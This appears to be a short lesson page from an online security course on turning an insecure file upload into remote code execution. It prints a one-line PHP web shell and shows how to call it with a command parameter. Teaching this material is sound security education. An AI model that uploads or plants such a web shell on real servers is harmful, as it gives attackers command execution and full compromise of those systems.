HackPath Academy

Web Application Hacking (Hands-On)

Insecure File Upload → RCE

Turn a file upload into remote code execution with a web shell.

Advanced · 14 min

Open the interactive lesson →

If an app lets you upload files and serves them back in a directory that executes code, uploading a script (a 'web shell') can give you command execution on the server — one of the fastest paths from web bug to full compromise.

<?php system($_GET['cmd']); ?>   // shell.php — then visit /uploads/shell.php?cmd=id

Common weak filters and bypasses

Take the quiz →